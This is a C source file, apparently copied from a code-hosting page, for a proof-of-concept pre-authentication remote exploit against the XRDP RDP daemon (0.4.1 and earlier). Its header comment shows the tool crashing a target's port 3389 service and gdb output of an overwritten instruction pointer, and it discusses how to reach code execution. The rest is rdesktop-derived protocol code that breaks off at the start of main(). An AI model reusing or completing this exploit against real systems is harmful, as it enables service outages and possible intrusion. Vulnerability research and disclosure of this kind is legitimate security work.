3208 lines
No EOL
68 KiB
C
3208 lines
No EOL
68 KiB
C
/*
|
|
|
|
XRDP <= 0.4.1 pre-auth remote PoC exploit. (xrdp.sourceforge.net)
|
|
|
|
********************************************************************************
|
|
|
|
01:59:56 root@crateria:~/xrdp# gcc -w -lssl -lX11 xrdp-poc.c -o xrdp-poc
|
|
02:00:29 root@crateria:~/xrdp# ./xrdp-poc 10.0.0.13
|
|
|
|
[=] Connected to 10.0.0.13
|
|
[=] Hit CTRL-C if the progress bar stops.
|
|
|
|
Be patient! It takes about a minute, the RDP packets
|
|
need to be sent spaced apart or the daemon discards them.
|
|
|
|
[=] Progress: *******************************************************
|
|
[=] Check port 3389 on target host. It should be offline.
|
|
|
|
~/~
|
|
|
|
[root@norfair xrdp]# cat /etc/issue
|
|
CentOS release 4.7 (Final)
|
|
[root@norfair xrdp]# ./xrdp -nodaemon
|
|
Segmentation fault (core dumped)
|
|
|
|
********************************************************************************
|
|
|
|
Quick description of the exploit:
|
|
|
|
This is a PoC remote exploit for the XRDP vulnerability found by Hamid Ebadi.
|
|
XRDP 0.4.1 is the latest version at the time of this writing. This is *almost*
|
|
a really cool exploit, but execution control is difficult to achieve because:
|
|
|
|
1 - The XRDP daemon only accepts valid rdp scancodes as input. (ie, not ASCII
|
|
codes, but rdp scancodes that are later translated to ASCII after validation).
|
|
This isn't a huge problem. I was able write alpha-numeric shellcode onto the
|
|
stack. However, I wasn't able to find any alpha-numeric return addresses we
|
|
can use to overwrite the saved EIP, at least on the distros I examined
|
|
(Ubuntu 8.10 and CentOS 4.7). There may be distros where this isn't the case.
|
|
|
|
2 - On systems with gcc versions greater than 3.4 (realistically most Linux
|
|
boxes today, Ubuntu 8.10 uses 4.3.2), gcc's -O2 option (which xrdp's
|
|
Makefile includes) enables _FORTIFY_SOURCE checks, which stop you cold. On
|
|
older distros like CentOS 4.7 (gcc 3.4.6), we can successfully overwrite EIP:
|
|
|
|
#7 0x61616161 in ?? ()
|
|
#8 0x61616161 in ?? ()
|
|
#9 0xb7f59200 in ?? ()
|
|
#10 0x0804db1e in xrdp_bitmap_def_proc (self=Cannot access memory
|
|
at address 0x61616169) at xrdp_bitmap.c:1482
|
|
Previous frame inner to this frame (corrupt stack?)
|
|
|
|
#0 0x61616161 in ?? ()
|
|
(gdb) i r
|
|
eax 0x0 0
|
|
ecx 0x8fda860 150841440
|
|
edx 0x97d858 9951320
|
|
ebx 0x61616161 1633771873
|
|
esp 0xb7f59208 0xb7f59208
|
|
ebp 0x61616161 0x61616161
|
|
esi 0x61616161 1633771873
|
|
edi 0x61616161 1633771873
|
|
eip 0x61616161 0x61616161
|
|
|
|
But due to the alpha-numeric requirements for the return address, again,
|
|
no dice. Most of the code itself was taken from rdesktop, by Matthew Chapman.
|
|
Basically we hack rdesktop to bypass all X-windows interaction, then in
|
|
rdp_send_scancode(), we are able to build our payload. If you manage to find
|
|
an alternate way to control EIP, drop me a line.
|
|
joewalko@gmail.com
|
|
|
|
********************************************************************************
|
|
*/
|
|
|
|
#include <arpa/inet.h> /* inet_addr */
|
|
#include <ctype.h>
|
|
#include <errno.h>
|
|
#include <errno.h> /* errno */
|
|
#include <errno.h> /* save licence uses it. */
|
|
#include <fcntl.h> /* open */
|
|
#include <limits.h>
|
|
#include <netdb.h> /* gethostbyname */
|
|
#include <netinet/in.h> /* sockaddr_in */
|
|
#include <netinet/tcp.h> /* TCP_NODELAY */
|
|
#include <openssl/bn.h>
|
|
#include <openssl/md5.h>
|
|
#include <openssl/rc4.h>
|
|
#include <openssl/sha.h>
|
|
#include <pwd.h> /* getpwuid */
|
|
#include <stdarg.h> /* va_list va_start va_end */
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h> /* socket connect */
|
|
#include <sys/socket.h> /* socket connect setsockopt */
|
|
#include <sys/stat.h> /* stat */
|
|
#include <sys/time.h> /* gettimeofday */
|
|
#include <sys/time.h> /* timeval */
|
|
#include <sys/times.h> /* times */
|
|
#include <sys/un.h> /* sockaddr_un */
|
|
#include <termios.h> /* tcgetattr tcsetattr */
|
|
#include <time.h>
|
|
#include <unistd.h> /* read close getuid getgid getpid getppid gethostname */
|
|
#include <unistd.h> /* select read write close */
|
|
#include <X11/keysymdef.h>
|
|
#include <X11/Xlib.h>
|
|
#include <X11/Xutil.h>
|
|
|
|
|
|
//Begin typedefs and structs
|
|
typedef int BOOL;
|
|
#ifndef True
|
|
#define True (1)
|
|
#define False (0)
|
|
#endif
|
|
typedef unsigned char uint8;
|
|
typedef signed char sint8;
|
|
typedef unsigned short uint16;
|
|
typedef signed short sint16;
|
|
typedef unsigned int uint32;
|
|
typedef signed int sint32;
|
|
typedef void *HBITMAP;
|
|
typedef void *HGLYPH;
|
|
typedef void *HCOLOURMAP;
|
|
typedef void *HCURSOR;
|
|
|
|
typedef struct _COLOURENTRY
|
|
{
|
|
uint8 red;
|
|
uint8 green;
|
|
uint8 blue;
|
|
|
|
}
|
|
COLOURENTRY;
|
|
|
|
typedef struct _COLOURMAP
|
|
{
|
|
uint16 ncolours;
|
|
COLOURENTRY *colours;
|
|
|
|
}
|
|
COLOURMAP;
|
|
|
|
typedef struct _BOUNDS
|
|
{
|
|
uint16 left;
|
|
uint16 top;
|
|
uint16 right;
|
|
uint16 bottom;
|
|
|
|
}
|
|
BOUNDS;
|
|
|
|
typedef struct _PEN
|
|
{
|
|
uint8 style;
|
|
uint8 width;
|
|
uint8 colour;
|
|
|
|
}
|
|
PEN;
|
|
|
|
typedef struct _BRUSH
|
|
{
|
|
uint8 xorigin;
|
|
uint8 yorigin;
|
|
uint8 style;
|
|
uint8 pattern[8];
|
|
|
|
}
|
|
BRUSH;
|
|
|
|
typedef struct _FONTGLYPH
|
|
{
|
|
sint16 offset;
|
|
sint16 baseline;
|
|
uint16 width;
|
|
uint16 height;
|
|
HBITMAP pixmap;
|
|
|
|
}
|
|
FONTGLYPH;
|
|
|
|
typedef struct _DATABLOB
|
|
{
|
|
void *data;
|
|
int size;
|
|
|
|
}
|
|
DATABLOB;
|
|
|
|
typedef struct _key_translation
|
|
{
|
|
uint8 scancode;
|
|
uint16 modifiers;
|
|
}
|
|
key_translation;
|
|
|
|
/* TCP port for Remote Desktop Protocol */
|
|
#define TCP_PORT_RDP 3389
|
|
|
|
/* ISO PDU codes */
|
|
enum ISO_PDU_CODE
|
|
{
|
|
ISO_PDU_CR = 0xE0, /* Connection Request */
|
|
ISO_PDU_CC = 0xD0, /* Connection Confirm */
|
|
ISO_PDU_DR = 0x80, /* Disconnect Request */
|
|
ISO_PDU_DT = 0xF0, /* Data */
|
|
ISO_PDU_ER = 0x70 /* Error */
|
|
};
|
|
|
|
/* MCS PDU codes */
|
|
enum MCS_PDU_TYPE
|
|
{
|
|
MCS_EDRQ = 1, /* Erect Domain Request */
|
|
MCS_DPUM = 8, /* Disconnect Provider Ultimatum */
|
|
MCS_AURQ = 10, /* Attach User Request */
|
|
MCS_AUCF = 11, /* Attach User Confirm */
|
|
MCS_CJRQ = 14, /* Channel Join Request */
|
|
MCS_CJCF = 15, /* Channel Join Confirm */
|
|
MCS_SDRQ = 25, /* Send Data Request */
|
|
MCS_SDIN = 26 /* Send Data Indication */
|
|
};
|
|
|
|
#define MCS_CONNECT_INITIAL 0x7f65
|
|
#define MCS_CONNECT_RESPONSE 0x7f66
|
|
#define BER_TAG_BOOLEAN 1
|
|
#define BER_TAG_INTEGER 2
|
|
#define BER_TAG_OCTET_STRING 4
|
|
#define BER_TAG_RESULT 10
|
|
#define MCS_TAG_DOMAIN_PARAMS 0x30
|
|
#define MCS_GLOBAL_CHANNEL 1003
|
|
|
|
/* RDP secure transport constants */
|
|
#define SEC_RANDOM_SIZE 32
|
|
#define SEC_MODULUS_SIZE 64
|
|
#define SEC_PADDING_SIZE 8
|
|
#define SEC_EXPONENT_SIZE 4
|
|
#define SEC_CLIENT_RANDOM 0x0001
|
|
#define SEC_ENCRYPT 0x0008
|
|
#define SEC_LOGON_INFO 0x0040
|
|
#define SEC_LICENCE_NEG 0x0080
|
|
#define SEC_TAG_SRV_INFO 0x0c01
|
|
#define SEC_TAG_SRV_CRYPT 0x0c02
|
|
#define SEC_TAG_SRV_3 0x0c03
|
|
#define SEC_TAG_CLI_INFO 0xc001
|
|
#define SEC_TAG_CLI_CRYPT 0xc002
|
|
#define SEC_TAG_PUBKEY 0x0006
|
|
#define SEC_TAG_KEYSIG 0x0008
|
|
#define SEC_RSA_MAGIC 0x31415352 /* RSA1 */
|
|
|
|
/* RDP licensing constants */
|
|
#define LICENCE_TOKEN_SIZE 10
|
|
#define LICENCE_HWID_SIZE 20
|
|
#define LICENCE_SIGNATURE_SIZE 16
|
|
#define LICENCE_TAG_DEMAND 0x0201
|
|
#define LICENCE_TAG_AUTHREQ 0x0202
|
|
#define LICENCE_TAG_ISSUE 0x0203
|
|
#define LICENCE_TAG_REISSUE 0x0204
|
|
#define LICENCE_TAG_PRESENT 0x0212
|
|
#define LICENCE_TAG_REQUEST 0x0213
|
|
#define LICENCE_TAG_AUTHRESP 0x0215
|
|
#define LICENCE_TAG_RESULT 0x02ff
|
|
#define LICENCE_TAG_USER 0x000f
|
|
#define LICENCE_TAG_HOST 0x0010
|
|
|
|
/* RDP PDU codes */
|
|
enum RDP_PDU_TYPE
|
|
{
|
|
RDP_PDU_DEMAND_ACTIVE = 1,
|
|
RDP_PDU_CONFIRM_ACTIVE = 3,
|
|
RDP_PDU_DEACTIVATE = 6,
|
|
RDP_PDU_DATA = 7
|
|
};
|
|
|
|
enum RDP_DATA_PDU_TYPE
|
|
{
|
|
RDP_DATA_PDU_UPDATE = 2,
|
|
RDP_DATA_PDU_CONTROL = 20,
|
|
RDP_DATA_PDU_POINTER = 27,
|
|
RDP_DATA_PDU_INPUT = 28,
|
|
RDP_DATA_PDU_SYNCHRONISE = 31,
|
|
RDP_DATA_PDU_BELL = 34,
|
|
RDP_DATA_PDU_LOGON = 38,
|
|
RDP_DATA_PDU_FONT2 = 39
|
|
};
|
|
|
|
enum RDP_CONTROL_PDU_TYPE
|
|
{
|
|
RDP_CTL_REQUEST_CONTROL = 1,
|
|
RDP_CTL_GRANT_CONTROL = 2,
|
|
RDP_CTL_DETACH = 3,
|
|
RDP_CTL_COOPERATE = 4
|
|
};
|
|
|
|
enum RDP_UPDATE_PDU_TYPE
|
|
{
|
|
RDP_UPDATE_ORDERS = 0,
|
|
RDP_UPDATE_BITMAP = 1,
|
|
RDP_UPDATE_PALETTE = 2,
|
|
RDP_UPDATE_SYNCHRONIZE = 3
|
|
};
|
|
|
|
enum RDP_POINTER_PDU_TYPE
|
|
{
|
|
RDP_POINTER_MOVE = 3,
|
|
RDP_POINTER_COLOR = 6,
|
|
RDP_POINTER_CACHED = 7
|
|
};
|
|
|
|
enum RDP_INPUT_DEVICE
|
|
{
|
|
RDP_INPUT_SYNCHRONIZE = 0,
|
|
RDP_INPUT_CODEPOINT = 1,
|
|
RDP_INPUT_VIRTKEY = 2,
|
|
RDP_INPUT_SCANCODE = 4,
|
|
RDP_INPUT_MOUSE = 0x8001
|
|
};
|
|
|
|
/* Device flags */
|
|
#define KBD_FLAG_RIGHT 0x0001
|
|
#define KBD_FLAG_EXT 0x0100
|
|
#define KBD_FLAG_QUIET 0x1000
|
|
#define KBD_FLAG_DOWN 0x4000
|
|
#define KBD_FLAG_UP 0x8000
|
|
|
|
/* These are for synchronization; not for keystrokes */
|
|
#define KBD_FLAG_SCROLL 0x0001
|
|
#define KBD_FLAG_NUMLOCK 0x0002
|
|
#define KBD_FLAG_CAPITAL 0x0004
|
|
|
|
/* See T.128 */
|
|
#define RDP_KEYPRESS 0
|
|
#define RDP_KEYRELEASE (KBD_FLAG_DOWN | KBD_FLAG_UP)
|
|
#define MOUSE_FLAG_MOVE 0x0800
|
|
#define MOUSE_FLAG_BUTTON1 0x1000
|
|
#define MOUSE_FLAG_BUTTON2 0x2000
|
|
#define MOUSE_FLAG_BUTTON3 0x4000
|
|
#define MOUSE_FLAG_BUTTON4 0x0280
|
|
#define MOUSE_FLAG_BUTTON5 0x0380
|
|
#define MOUSE_FLAG_DOWN 0x8000
|
|
|
|
/* Raster operation masks */
|
|
#define ROP2_S(rop3) (rop3 & 0xf)
|
|
#define ROP2_P(rop3) ((rop3 & 0x3) | ((rop3 & 0x30) >> 2))
|
|
#define ROP2_COPY 0xc
|
|
#define ROP2_XOR 0x6
|
|
#define ROP2_AND 0x8
|
|
#define ROP2_NXOR 0x9
|
|
#define ROP2_OR 0xe
|
|
#define MIX_TRANSPARENT 0
|
|
#define MIX_OPAQUE 1
|
|
#define TEXT2_VERTICAL 0x04
|
|
#define TEXT2_IMPLICIT_X 0x20
|
|
|
|
/* RDP capabilities */
|
|
#define RDP_CAPSET_GENERAL 1
|
|
#define RDP_CAPLEN_GENERAL 0x18
|
|
#define OS_MAJOR_TYPE_UNIX 4
|
|
#define OS_MINOR_TYPE_XSERVER 7
|
|
#define RDP_CAPSET_BITMAP 2
|
|
#define RDP_CAPLEN_BITMAP 0x1C
|
|
#define RDP_CAPSET_ORDER 3
|
|
#define RDP_CAPLEN_ORDER 0x58
|
|
#define ORDER_CAP_NEGOTIATE 2
|
|
#define ORDER_CAP_NOSUPPORT 4
|
|
#define RDP_CAPSET_BMPCACHE 4
|
|
#define RDP_CAPLEN_BMPCACHE 0x28
|
|
#define RDP_CAPSET_CONTROL 5
|
|
#define RDP_CAPLEN_CONTROL 0x0C
|
|
#define RDP_CAPSET_ACTIVATE 7
|
|
#define RDP_CAPLEN_ACTIVATE 0x0C
|
|
#define RDP_CAPSET_POINTER 8
|
|
#define RDP_CAPLEN_POINTER 0x08
|
|
#define RDP_CAPSET_SHARE 9
|
|
#define RDP_CAPLEN_SHARE 0x08
|
|
#define RDP_CAPSET_COLCACHE 10
|
|
#define RDP_CAPLEN_COLCACHE 0x08
|
|
#define RDP_CAPSET_UNKNOWN 13
|
|
#define RDP_CAPLEN_UNKNOWN 0x9C
|
|
#define RDP_SOURCE "MSTSC"
|
|
|
|
/* Logon flags */
|
|
#define RDP_LOGON_NORMAL 0x33
|
|
#define RDP_LOGON_AUTO 0x8
|
|
|
|
/* Keymap flags */
|
|
#define MapRightShiftMask (1<<0)
|
|
#define MapLeftShiftMask (1<<1)
|
|
#define MapShiftMask (MapRightShiftMask | MapLeftShiftMask)
|
|
#define MapRightAltMask (1<<2)
|
|
#define MapLeftAltMask (1<<3)
|
|
#define MapAltGrMask MapRightAltMask
|
|
#define MapRightCtrlMask (1<<4)
|
|
#define MapLeftCtrlMask (1<<5)
|
|
#define MapCtrlMask (MapRightCtrlMask | MapLeftCtrlMask)
|
|
#define MapRightWinMask (1<<6)
|
|
#define MapLeftWinMask (1<<7)
|
|
#define MapWinMask (MapRightWinMask | MapLeftWinMask)
|
|
#define MapNumLockMask (1<<8)
|
|
#define MapCapsLockMask (1<<9)
|
|
#define MapLocalStateMask (1<<10)
|
|
#define MapInhibitMask (1<<11)
|
|
#define MASK_ADD_BITS(var, mask) (var |= mask)
|
|
#define MASK_REMOVE_BITS(var, mask) (var &= ~mask)
|
|
#define MASK_HAS_BITS(var, mask) ((var & mask)>0)
|
|
#define MASK_CHANGE_BIT(var, mask, active) (var = ((var & ~mask) | (active ? mask : 0)))
|
|
|
|
/* Parser state */
|
|
typedef struct stream
|
|
{
|
|
unsigned char *p;
|
|
unsigned char *end;
|
|
unsigned char *data;
|
|
unsigned int size;
|
|
|
|
/* Offsets of various headers */
|
|
unsigned char *iso_hdr;
|
|
unsigned char *mcs_hdr;
|
|
unsigned char *sec_hdr;
|
|
unsigned char *rdp_hdr;
|
|
|
|
}
|
|
*STREAM;
|
|
|
|
#define s_push_layer(s,h,n) { (s)->h = (s)->p; (s)->p += n; }
|
|
#define s_pop_layer(s,h) (s)->p = (s)->h;
|
|
#define s_mark_end(s) (s)->end = (s)->p;
|
|
#define s_check(s) ((s)->p <= (s)->end)
|
|
#define s_check_rem(s,n) ((s)->p + n <= (s)->end)
|
|
#define s_check_end(s) ((s)->p == (s)->end)
|
|
#if defined(L_ENDIAN) && !defined(NEED_ALIGN)
|
|
#define in_uint16_le(s,v) { v = *(uint16 *)((s)->p); (s)->p += 2; }
|
|
#define in_uint32_le(s,v) { v = *(uint32 *)((s)->p); (s)->p += 4; }
|
|
#define out_uint16_le(s,v) { *(uint16 *)((s)->p) = v; (s)->p += 2; }
|
|
#define out_uint32_le(s,v) { *(uint32 *)((s)->p) = v; (s)->p += 4; }
|
|
#else
|
|
#define in_uint16_le(s,v) { v = *((s)->p++); v += *((s)->p++) << 8; }
|
|
#define in_uint32_le(s,v) { in_uint16_le(s,v) \
|
|
v += *((s)->p++) << 16; v += *((s)->p++) << 24; }
|
|
#define out_uint16_le(s,v) { *((s)->p++) = (v) & 0xff; *((s)->p++) = ((v) >> 8) & 0xff; }
|
|
#define out_uint32_le(s,v) { out_uint16_le(s, (v) & 0xffff); out_uint16_le(s, ((v) >> 16) & 0xffff); }
|
|
#endif
|
|
#if defined(B_ENDIAN) && !defined(NEED_ALIGN)
|
|
#define in_uint16_be(s,v) { v = *(uint16 *)((s)->p); (s)->p += 2; }
|
|
#define in_uint32_be(s,v) { v = *(uint32 *)((s)->p); (s)->p += 4; }
|
|
#define out_uint16_be(s,v) { *(uint16 *)((s)->p) = v; (s)->p += 2; }
|
|
#define out_uint32_be(s,v) { *(uint32 *)((s)->p) = v; (s)->p += 4; }
|
|
#define B_ENDIAN_PREFERRED
|
|
#define in_uint16(s,v) in_uint16_be(s,v)
|
|
#define in_uint32(s,v) in_uint32_be(s,v)
|
|
#define out_uint16(s,v) out_uint16_be(s,v)
|
|
#define out_uint32(s,v) out_uint32_be(s,v)
|
|
#else
|
|
#define next_be(s,v) v = ((v) << 8) + *((s)->p++);
|
|
#define in_uint16_be(s,v) { v = *((s)->p++); next_be(s,v); }
|
|
#define in_uint32_be(s,v) { in_uint16_be(s,v); next_be(s,v); next_be(s,v); }
|
|
#define out_uint16_be(s,v) { *((s)->p++) = ((v) >> 8) & 0xff; *((s)->p++) = (v) & 0xff; }
|
|
#define out_uint32_be(s,v) { out_uint16_be(s, ((v) >> 16) & 0xffff); out_uint16_be(s, (v) & 0xffff); }
|
|
#endif
|
|
#ifndef B_ENDIAN_PREFERRED
|
|
#define in_uint16(s,v) in_uint16_le(s,v)
|
|
#define in_uint32(s,v) in_uint32_le(s,v)
|
|
#define out_uint16(s,v) out_uint16_le(s,v)
|
|
#define out_uint32(s,v) out_uint32_le(s,v)
|
|
#endif
|
|
#define in_uint8(s,v) v = *((s)->p++);
|
|
#define in_uint8p(s,v,n) { v = (s)->p; (s)->p += n; }
|
|
#define in_uint8a(s,v,n) { memcpy(v,(s)->p,n); (s)->p += n; }
|
|
#define in_uint8s(s,n) (s)->p += n;
|
|
#define out_uint8(s,v) *((s)->p++) = v;
|
|
#define out_uint8p(s,v,n) { memcpy((s)->p,v,n); (s)->p += n; }
|
|
#define out_uint8a(s,v,n) out_uint8p(s,v,n);
|
|
#define out_uint8s(s,n) { memset((s)->p,0,n); (s)->p += n; }
|
|
#define SCANCODE_EXTENDED 0x80
|
|
#define SCANCODE_KEY_44 0x2a
|
|
#define SCANCODE_CHAR_LSHIFT SCANCODE_KEY_44
|
|
#define SCANCODE_KEY_57 0x36
|
|
#define SCANCODE_CHAR_RSHIFT SCANCODE_KEY_57
|
|
#define SCANCODE_KEY_58 0x1d
|
|
#define SCANCODE_CHAR_LCTRL SCANCODE_KEY_58
|
|
#define SCANCODE_KEY_60 0x38
|
|
#define SCANCODE_CHAR_LALT SCANCODE_KEY_60
|
|
#define SCANCODE_KEY_62 (SCANCODE_EXTENDED | 0x38)
|
|
#define SCANCODE_CHAR_RALT SCANCODE_KEY_62
|
|
#define SCANCODE_KEY_64 (SCANCODE_EXTENDED | 0x1d)
|
|
#define SCANCODE_CHAR_RCTRL SCANCODE_KEY_64
|
|
#define SCANCODE_KEY_90 0x45
|
|
#define SCANCODE_CHAR_NUMLOCK SCANCODE_KEY_90
|
|
#define SCANCODE_KEY_110 0x1
|
|
#define SCANCODE_CHAR_ESC SCANCODE_KEY_110
|
|
#define SCANCODE_CHAR_LWIN (SCANCODE_EXTENDED | 0x5b)
|
|
#define SCANCODE_CHAR_RWIN (SCANCODE_EXTENDED | 0x5c)
|
|
#define s_push_layer(s,h,n) { (s)->h = (s)->p; (s)->p += n; }
|
|
#define s_pop_layer(s,h) (s)->p = (s)->h;
|
|
#define s_mark_end(s) (s)->end = (s)->p;
|
|
#define s_check(s) ((s)->p <= (s)->end)
|
|
#define s_check_rem(s,n) ((s)->p + n <= (s)->end)
|
|
#define s_check_end(s) ((s)->p == (s)->end)
|
|
#define RDP_ORDER_STANDARD 0x01
|
|
#define RDP_ORDER_SECONDARY 0x02
|
|
#define RDP_ORDER_BOUNDS 0x04
|
|
#define RDP_ORDER_CHANGE 0x08
|
|
#define RDP_ORDER_DELTA 0x10
|
|
#define RDP_ORDER_LASTBOUNDS 0x20
|
|
#define RDP_ORDER_SMALL 0x40
|
|
#define RDP_ORDER_TINY 0x80
|
|
#define MAX_TEXT 256
|
|
#define MAX_DATA 256
|
|
|
|
enum RDP_ORDER_TYPE
|
|
{
|
|
RDP_ORDER_DESTBLT = 0,
|
|
RDP_ORDER_PATBLT = 1,
|
|
RDP_ORDER_SCREENBLT = 2,
|
|
RDP_ORDER_LINE = 9,
|
|
RDP_ORDER_RECT = 10,
|
|
RDP_ORDER_DESKSAVE = 11,
|
|
RDP_ORDER_MEMBLT = 13,
|
|
RDP_ORDER_TRIBLT = 14,
|
|
RDP_ORDER_POLYLINE = 22,
|
|
RDP_ORDER_TEXT2 = 27
|
|
};
|
|
|
|
typedef struct _POLYLINE_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint8 opcode;
|
|
uint8 fgcolour;
|
|
uint8 lines;
|
|
uint8 datasize;
|
|
uint8 data[MAX_DATA];
|
|
|
|
}
|
|
POLYLINE_ORDER;
|
|
|
|
typedef struct _DESTBLT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
|
|
}
|
|
DESTBLT_ORDER;
|
|
|
|
typedef struct _PATBLT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint8 bgcolour;
|
|
uint8 fgcolour;
|
|
BRUSH brush;
|
|
|
|
}
|
|
PATBLT_ORDER;
|
|
|
|
typedef struct _SCREENBLT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint16 srcx;
|
|
uint16 srcy;
|
|
|
|
}
|
|
SCREENBLT_ORDER;
|
|
|
|
typedef struct _LINE_ORDER
|
|
{
|
|
uint16 mixmode;
|
|
uint16 startx;
|
|
uint16 starty;
|
|
uint16 endx;
|
|
uint16 endy;
|
|
uint8 bgcolour;
|
|
uint8 opcode;
|
|
PEN pen;
|
|
|
|
}
|
|
LINE_ORDER;
|
|
|
|
typedef struct _RECT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 colour;
|
|
|
|
}
|
|
RECT_ORDER;
|
|
|
|
typedef struct _DESKSAVE_ORDER
|
|
{
|
|
uint32 offset;
|
|
uint16 left;
|
|
uint16 top;
|
|
uint16 right;
|
|
uint16 bottom;
|
|
uint8 action;
|
|
|
|
}
|
|
DESKSAVE_ORDER;
|
|
|
|
typedef struct _MEMBLT_ORDER
|
|
{
|
|
uint8 colour_table;
|
|
uint8 cache_id;
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint16 srcx;
|
|
uint16 srcy;
|
|
uint16 cache_idx;
|
|
|
|
}
|
|
MEMBLT_ORDER;
|
|
|
|
|
|
typedef struct _TRIBLT_ORDER
|
|
{
|
|
uint8 colour_table;
|
|
uint8 cache_id;
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint16 srcx;
|
|
uint16 srcy;
|
|
uint8 bgcolour;
|
|
uint8 fgcolour;
|
|
BRUSH brush;
|
|
uint16 cache_idx;
|
|
uint16 unknown;
|
|
|
|
}
|
|
TRIBLT_ORDER;
|
|
|
|
typedef struct _TEXT2_ORDER
|
|
{
|
|
uint8 font;
|
|
uint8 flags;
|
|
uint8 mixmode;
|
|
uint8 unknown;
|
|
uint8 fgcolour;
|
|
uint8 bgcolour;
|
|
uint16 clipleft;
|
|
uint16 cliptop;
|
|
uint16 clipright;
|
|
uint16 clipbottom;
|
|
uint16 boxleft;
|
|
uint16 boxtop;
|
|
uint16 boxright;
|
|
uint16 boxbottom;
|
|
uint16 x;
|
|
uint16 y;
|
|
uint8 length;
|
|
uint8 text[MAX_TEXT];
|
|
|
|
}
|
|
TEXT2_ORDER;
|
|
|
|
typedef struct _RDP_ORDER_STATE
|
|
{
|
|
uint8 order_type;
|
|
BOUNDS bounds;
|
|
|
|
DESTBLT_ORDER destblt;
|
|
PATBLT_ORDER patblt;
|
|
SCREENBLT_ORDER screenblt;
|
|
LINE_ORDER line;
|
|
RECT_ORDER rect;
|
|
DESKSAVE_ORDER desksave;
|
|
MEMBLT_ORDER memblt;
|
|
TRIBLT_ORDER triblt;
|
|
POLYLINE_ORDER polyline;
|
|
TEXT2_ORDER text2;
|
|
|
|
}
|
|
RDP_ORDER_STATE;
|
|
//End typedefs and structs
|
|
|
|
|
|
// Begin XRDP global variables
|
|
//mcs.c
|
|
uint16 mcs_userid;
|
|
|
|
//xkeymap.c
|
|
#define KEYMAP_SIZE 0xffff+1
|
|
#define KEYMAP_MASK 0xffff
|
|
#define KEYMAP_MAX_LINE_LENGTH 80
|
|
extern Display *display;
|
|
extern BOOL enable_compose;
|
|
static BOOL keymap_loaded;
|
|
static key_translation keymap[KEYMAP_SIZE];
|
|
static int min_keycode;
|
|
static uint16 remote_modifier_state = 0;
|
|
static void update_modifier_state(uint8 scancode, BOOL pressed);
|
|
|
|
//license.c
|
|
static uint8 licence_key[16];
|
|
static uint8 licence_sign_key[16];
|
|
BOOL licence_issued = False;
|
|
|
|
//rdp.c
|
|
extern uint16 mcs_userid;
|
|
extern BOOL bitmap_compression;
|
|
extern BOOL orders;
|
|
extern BOOL encryption;
|
|
extern BOOL desktop_save;
|
|
uint8 *next_packet;
|
|
uint32 rdp_shareid;
|
|
|
|
//orders.c
|
|
extern uint8 *next_packet;
|
|
static RDP_ORDER_STATE order_state;
|
|
|
|
//secure.c
|
|
extern int width;
|
|
extern int height;
|
|
extern BOOL encryption;
|
|
extern BOOL licence_issued;
|
|
static int rc4_key_len;
|
|
static RC4_KEY rc4_decrypt_key;
|
|
static RC4_KEY rc4_encrypt_key;
|
|
static uint8 sec_sign_key[16];
|
|
static uint8 sec_decrypt_key[16];
|
|
static uint8 sec_encrypt_key[16];
|
|
static uint8 sec_decrypt_update_key[16];
|
|
static uint8 sec_encrypt_update_key[16];
|
|
static uint8 sec_crypted_random[SEC_MODULUS_SIZE];
|
|
|
|
//tcp.c
|
|
static int sock;
|
|
static struct stream in;
|
|
static struct stream out;
|
|
extern int tcp_port_rdp;
|
|
|
|
//xwin.c
|
|
static int x_socket;
|
|
static int ix = 36; // We force the program to interact
|
|
// with X windows as little as possible
|
|
// with this counter.
|
|
//rdesktop.c
|
|
char title[32] = "";
|
|
char username[16];
|
|
char hostname[16];
|
|
char keymapname[16];
|
|
int keylayout = 0x409;
|
|
int width = 800;
|
|
int height = 600;
|
|
int tcp_port_rdp = TCP_PORT_RDP;
|
|
BOOL bitmap_compression = True;
|
|
BOOL sendmotion = True;
|
|
BOOL orders = True;
|
|
BOOL encryption = True;
|
|
BOOL desktop_save = True;
|
|
BOOL fullscreen = False;
|
|
BOOL grab_keyboard = True;
|
|
BOOL hide_decorations = False;
|
|
extern BOOL owncolmap;
|
|
// End global variables
|
|
|
|
|
|
|
|
//Start function definitions
|
|
static BOOL mcs_recv_aucf(uint16 * mcs_userid);
|
|
static BOOL mcs_recv_cjcf(void);
|
|
static BOOL mcs_recv_connect_response(STREAM mcs_data);
|
|
static void rdp_send_synchronise(void);
|
|
static void mcs_send_aurq(void);
|
|
static void mcs_send_cjrq(uint16 chanid);
|
|
static void mcs_send_connect_initial(STREAM mcs_data);
|
|
static void mcs_send_edrq(void);
|
|
static void process_secondary_order(STREAM s);
|
|
static void process_update_pdu(STREAM s);
|
|
static STREAM rdp_recv(uint8 * type);
|
|
static void rdp_send_control(uint16 action);
|
|
static void rdp_send_fonts(uint16 seq);
|
|
static void rdp_send_confirm_active(void);
|
|
static void reverse(uint8 * p, int len);
|
|
STREAM sec_init(uint32 flags, int maxlen);
|
|
STREAM sec_recv(void);
|
|
STREAM tcp_init(int maxlen);
|
|
STREAM tcp_recv(int length);
|
|
int ui_select(int rdp_socket);
|
|
void * xmalloc(int size);
|
|
key_translation xkeymap_translate_key(uint32 keysym, unsigned int keycode, unsigned int state);
|
|
//End function definitions
|
|
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char server[64];
|
|
char fullhostname[64];
|
|
char domain[16];
|
|
char password[16];
|
|
char shell[128];
|
|
char directory[32];
|
|
BOOL prompt_password;
|
|
struct passwd *pw;
|
|
uint32 flags;
|
|
char *p;
|
|
int c;
|
|
int username_option = 0;
|
|
encryption = False;
|
|
sendmotion = False;
|
|
flags = RDP_LOGON_NORMAL;
|
|
